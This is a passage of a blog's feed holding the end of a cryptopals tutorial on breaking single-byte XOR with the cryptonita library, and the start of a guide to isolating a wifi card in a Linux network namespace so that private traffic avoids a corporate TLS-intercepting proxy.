This unlocks the &lt;a href="https://cryptopals.com/sets/1/challenges/1"&gt;Convert hex to base 64&lt;/a&gt; challenge.
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;We can use &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;bytestring&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; or just &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;B&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; to convert strings encoded in base 16 or 64 into bytes.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;cryptonita&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;B&lt;/span&gt;         &lt;span class="c1"&gt;# byexample: +timeout=10&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;B&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;49276d206b696c6c696e6720796f75&amp;#39;&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;       &lt;span class="s1"&gt;&amp;#39;7220627261696e206c696b65206120&amp;#39;&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;       &lt;span class="s1"&gt;&amp;#39;706f69736f6e6f7573206d757368726f6f6d&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;encoding&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;encode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;64&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;SSdtIGtpbGxpbmcgeW91ciBicmFpbiBsaWtlIGEgcG9pc29ub3VzIG11c2hyb29t&amp;#39;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;But &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;bytestring&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; is a little more than a decoder: it has a convenient interface to manipulate bytes.&lt;/p&gt;
&lt;p&gt;For example, you can perform a &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;xor&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; between two strings in one instruction:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;B&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;1c0111001f010100061a024b53535009181c&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;encoding&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;B&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;686974207468652062756c6c277320657965&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;encoding&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;encode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;746865206B696420646F6E277420706C6179&amp;#39;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;label for='ClRoZXNlIGxhc3QgdHdvIGV4YW1wbGVzIHNvbHZlIHRoZSBjaGFsbGVuZ2VzCltGaXhlZCBYT1JdKGh0dHBzOi8vY3J5cHRvcGFscy5jb20vc2V0cy8xL2NoYWxsZW5nZXMvMikgYW5kCltJbXBsZW1lbnQgcmVwZWF0aW5nLWtleSBYT1JdKGh0dHBzOi8vY3J5cHRvcGFscy5jb20vc2V0cy8xL2NoYWxsZW5nZXMvNSkKbWFyZ2lubm90ZXM=' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='ClRoZXNlIGxhc3QgdHdvIGV4YW1wbGVzIHNvbHZlIHRoZSBjaGFsbGVuZ2VzCltGaXhlZCBYT1JdKGh0dHBzOi8vY3J5cHRvcGFscy5jb20vc2V0cy8xL2NoYWxsZW5nZXMvMikgYW5kCltJbXBsZW1lbnQgcmVwZWF0aW5nLWtleSBYT1JdKGh0dHBzOi8vY3J5cHRvcGFscy5jb20vc2V0cy8xL2NoYWxsZW5nZXMvNSkKbWFyZ2lubm90ZXM=' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
These last two examples solve the challenges &lt;a href="https://cryptopals.com/sets/1/challenges/2"&gt;Fixed XOR&lt;/a&gt; and &lt;a href="https://cryptopals.com/sets/1/challenges/5"&gt;Implement repeating-key XOR&lt;/a&gt;
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Even you can perform the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;xor&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; of two strings of different lengths: you just say that the shorter string will be repeated to infinitum and everything will work.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;plaintext&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;B&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Burning &amp;#39;em, if you ain&amp;#39;t quick and nimble&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;               &lt;span class="s2"&gt;&amp;quot;I go crazy when I hear a cymbal&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;B&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;ICE&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;plaintext&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;inf&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;encode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;0B3637272A2B2E63622C2E69692A23693A2A3C6324202D623D63343C2A26226324272765272A282B2F20430A652E2C652A3124333A653E2B2027630C692B20283165286326302E27282F&amp;#39;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2 id="break-1-byte-key-xor"&gt;Break 1-byte key XOR&lt;/h2&gt;
&lt;h3 id="break-it-by-brute-force"&gt;Break it by Brute Force&lt;/h3&gt;
&lt;p&gt;With a so small key space (1 byte means 256 different keys) we can brute force the decryption of the ciphertext just trying all the possible keys.&lt;/p&gt;
&lt;p&gt;If we want to automate the process we will need a &lt;em&gt;scoring function&lt;/em&gt; to rank how likely the decrypted text is the real plaintext.&lt;/p&gt;
&lt;p&gt;The scoring function will depend of the our knowledge about the real plaintext.&lt;/p&gt;
&lt;p&gt;If we assume that the text is written in &lt;em&gt;human ascii&lt;/em&gt; we could assign a higher value to the plaintexts that have only printable symbols (letters, numbers, punctuation symbols and whitespaces).&lt;/p&gt;
&lt;p&gt;A plain text with a byte &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="mh"&gt;0xf1&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; is unlikely to be a &lt;em&gt;human ascii&lt;/em&gt; text. (Such weird bytes &lt;em&gt;could&lt;/em&gt; be part of a human text using another encoding like &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;utf&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;)&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;cryptonita.scoring&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;all_ascii_printable&lt;/span&gt;         &lt;span class="c1"&gt;# byexample: +timeout 10&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;all_ascii_printable&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;B&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;hello!&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="mi"&gt;1&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;all_ascii_printable&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;B&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;hi&lt;/span&gt;&lt;span class="se"&gt;\x00&lt;/span&gt;&lt;span class="s1"&gt;!&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="mi"&gt;0&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Now, the attack&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;cryptonita.attacks&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;brute_force&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;ciphertext&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;B&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;1b37373331363f78151b7f2b783&amp;#39;&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;                &lt;span class="s1"&gt;&amp;#39;431333d78397828372d363c7837&amp;#39;&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;                &lt;span class="s1"&gt;&amp;#39;3e783a393b3736&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;encoding&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;keys&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;brute_force&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ciphertext&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;all_ascii_printable&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;key_space&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;keys&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mi"&gt;21&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Not bad, but we are smarter than this.&lt;/p&gt;
&lt;h3 id="frequency-attack"&gt;Frequency attack&lt;/h3&gt;
&lt;p&gt;Brute forcing is expensive even for a small key space. And it is not very cleaver either as we are not using any information about the plaintext to our favor.&lt;/p&gt;
&lt;p&gt;&lt;label for='CmBgRVRBT0lOIFNIUkRMVWBgIEFjaGlldmVtZW50IFVubG9ja2VkCm1hcmdpbm5vdGVz' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='CmBgRVRBT0lOIFNIUkRMVWBgIEFjaGlldmVtZW50IFVubG9ja2VkCm1hcmdpbm5vdGVz' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;ETAOIN&lt;/span&gt; &lt;span class="n"&gt;SHRDLU&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; Achievement Unlocked
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;If we assume that the plaintext is in English, it is likely that one of the most common bytes in the ciphertext is actually &lt;em&gt;one of the most common&lt;/em&gt; bytes in English but encrypted.&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;xor&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; between them will give us the key or at least we will narrow to a small subset of possible keys.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;cryptonita.attacks&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;freq_attack&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;most_common_plain_ngrams&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;B&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;etaoin shrdlu&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;cipher_ngram_top&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;keys&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;freq_attack&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ciphertext&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;most_common_plain_ngrams&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;cipher_ngram_top&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;keys&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mi"&gt;13&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;We got 13 different possible keys, doing a small brute force we can reduce the set further:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;keys&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;brute_force&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ciphertext&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;score_func&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;all_ascii_printable&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;                                 &lt;span class="n"&gt;key_space&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;keys&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;keys&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;X&amp;#39;&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="mf"&gt;1.0000&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;label for='CltTaW5nbGUtYnl0ZSBYT1IgY2lwaGVyXShodHRwczovL2NyeXB0b3BhbHMuY29tL3NldHMvMS9jaGFsbGVuZ2VzLzMpCmNoYWxsZW5nZSBkb25lLgptYXJnaW5ub3Rlcw==' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='CltTaW5nbGUtYnl0ZSBYT1IgY2lwaGVyXShodHRwczovL2NyeXB0b3BhbHMuY29tL3NldHMvMS9jaGFsbGVuZ2VzLzMpCmNoYWxsZW5nZSBkb25lLgptYXJnaW5ub3Rlcw==' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
&lt;a href="https://cryptopals.com/sets/1/challenges/3"&gt;Single-byte XOR cipher&lt;/a&gt; challenge done.
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Finally, the plaintext is&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;ciphertext&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt; &lt;span class="n"&gt;B&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;X&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;inf&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="s2"&gt;&amp;quot;Cooking MC&amp;#39;s like a pound of bacon&amp;quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
</content>
    <link href="https://book-of-gehn.github.io/articles/2018/03/01/In-XOR-We-Trust.html" rel="alternate" type="text/html" title="In XOR we trust"/>
    <category term="cryptography" label="cryptography"/>
    <category term="matasano" label="matasano"/>
    <category term="cryptonita" label="cryptonita"/>
    <category term="repeating key" label="repeating key"/>
    <published>2018-03-01T00:00:00+00:00</published>
  </entry>
  <entry>
    <id>https://book-of-gehn.github.io/articles/2017/04/16/Isolate-wifi-and-keep-traffic-out-Big-Brother-sight.html</id>
    <title>Isolate a wifi card and keep your traffic out of the Big Brother sight</title>
    <updated>2017-04-16T00:00:00+00:00</updated>
    <author>
      <name>Martin Di Paola</name>
    </author>
    <content type="html">&lt;p&gt;HTTP Proxies blacklisting evil domains, firewalls blocking weird traffic and IDSs looking for someone that shouldn’t be there are reasonable and understandable policies for a corporate environment.&lt;/p&gt;
&lt;p&gt;But when a friend opened his browser this week and went to &lt;code&gt;google.com&lt;/code&gt; the things got odd.&lt;/p&gt;
&lt;p&gt;The browser refused the connection warning him that the SSL certificate of the server wasn’t issue by &lt;code&gt;google.com&lt;/code&gt; at all or signed by a trusted authority.&lt;!--more--&gt;&lt;/p&gt;
&lt;p&gt;My first thought was, &lt;em&gt;“this is a man in the middle attack”&lt;/em&gt; but it turned out that the IT guys said to him: &lt;em&gt;“it’s OK, just accept the new certificate and ignore the warning of the browser”&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;They were tampering the internet access of all the company!&lt;/p&gt;
&lt;p&gt;&lt;label for='PGltZyAgY2xhc3M9J2Z1bGx3aWR0aCcgYWx0PScnIHNyYz0nL2ltZy9uZXR3b3JrL2lzb2xhdGVfd2lmaV9iaWdfYnJvdGhlcl9zaWdodC5wbmcnIC8+bWFyZ2lu' class='margin-toggle'&gt;&amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='PGltZyAgY2xhc3M9J2Z1bGx3aWR0aCcgYWx0PScnIHNyYz0nL2ltZy9uZXR3b3JrL2lzb2xhdGVfd2lmaV9iaWdfYnJvdGhlcl9zaWdodC5wbmcnIC8+bWFyZ2lu' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
&lt;img  class='fullwidth' alt='' src='/img/network/isolate_wifi_big_brother_sight.png' /&gt;
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;All his credentials, emails and documents could be read by someone else. That was unacceptable.&lt;/p&gt;
&lt;p&gt;Fortunately he has a Starbucks near with a decent wifi signal strength.&lt;/p&gt;
&lt;p&gt;&lt;label for='CioqdGw7ZHI6KiogdGhpcyBbc2NyaXB0XSgvYXNzZXRzL25ldHdvcmsvaXNvbGF0ZV93aWZpLnNoKQogaXMgYWxsIHdoYXQgeW91IG5lZWQgdG8gaGF2ZSBhbiBpc29sYXRlZCB3aWZpIG5ldHdvcmsuCm1hcmdpbm5vdGVz' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='CioqdGw7ZHI6KiogdGhpcyBbc2NyaXB0XSgvYXNzZXRzL25ldHdvcmsvaXNvbGF0ZV93aWZpLnNoKQogaXMgYWxsIHdoYXQgeW91IG5lZWQgdG8gaGF2ZSBhbiBpc29sYXRlZCB3aWZpIG5ldHdvcmsuCm1hcmdpbm5vdGVz' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
&lt;strong&gt;tl;dr:&lt;/strong&gt; this &lt;a href="/assets/network/isolate_wifi.sh"&gt;script&lt;/a&gt; is all what you need to have an isolated wifi network.
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Now the challenge is how to separate the private traffic so it can go only through the wifi while ensuring that the corporate traffic stays where it belongs, under the sight of the &lt;em&gt;Big Brother&lt;/em&gt;.&lt;/p&gt;
&lt;h3 id="isolate-a-wifi-card-with-network-namespaces"&gt;Isolate a wifi card with Network Namespaces&lt;/h3&gt;
&lt;p&gt;In a modern linux implementation we can use a &lt;code&gt;Network Namespace&lt;/code&gt; that can create isolated full network stacks with their own routes and firewall rules.&lt;/p&gt;
&lt;p&gt;Any program running inside that namespace will see only that network stack that it is perfect for our purpose.&lt;/p&gt;
&lt;p&gt;Let’s create it first; pick a nice name and run:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;ip&lt;span class="w"&gt; &lt;/span&gt;netns&lt;span class="w"&gt; &lt;/span&gt;add&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;starbucks&amp;quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;With that we have our &lt;code&gt;"starbucks"&lt;/code&gt; namespace, empty for now.&lt;/p&gt;
&lt;p&gt;Now, we cannot put our wifi card into that namespace directly using the &lt;code&gt;ip&lt;/code&gt; command.&lt;/p&gt;
&lt;p&gt;Typically you should use something like:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;ip&lt;span class="w"&gt; &lt;/span&gt;link&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;set&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;DEVICE&lt;span class="w"&gt; &lt;/span&gt;netns&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;starbucks&amp;quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;to move the &lt;code&gt;DEVICE&lt;/code&gt; from the default namespace to the &lt;code&gt;"starbucks"&lt;/code&gt; namespace, &lt;strong&gt;but no&lt;/strong&gt;, we cannot use this.&lt;/p&gt;
&lt;p&gt;A wireless card is a little more exotic.&lt;/p&gt;
&lt;p&gt;First, we need to know the &lt;em&gt;physical id&lt;/em&gt; of our card:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;iw&lt;span class="w"&gt; &lt;/span&gt;dev&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;wlan0&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;info
Interface
&lt;span class="w"&gt;    &lt;/span&gt;ifindex&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;3&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;wdev&lt;span class="w"&gt; &lt;/span&gt;0x1
&lt;span class="w"&gt;    &lt;/span&gt;addr&lt;span class="w"&gt; &lt;/span&gt;&amp;lt;mac-addr&amp;gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;type&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;managed
&lt;span class="w"&gt;    &lt;/span&gt;wiphy&lt;span class="w"&gt; &lt;/span&gt;&amp;lt;phy-id&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;where &lt;code&gt;"wlan0"&lt;/code&gt; is the name of our wifi interface.&lt;/p&gt;
&lt;p&gt;If you are lazy like me then you may find useful this shortcut. The &lt;code&gt;iw&lt;/code&gt; manpage warns that the output of this command shouldn’t be scrapped, but let’s be disobedient for a while:&lt;/p&gt;
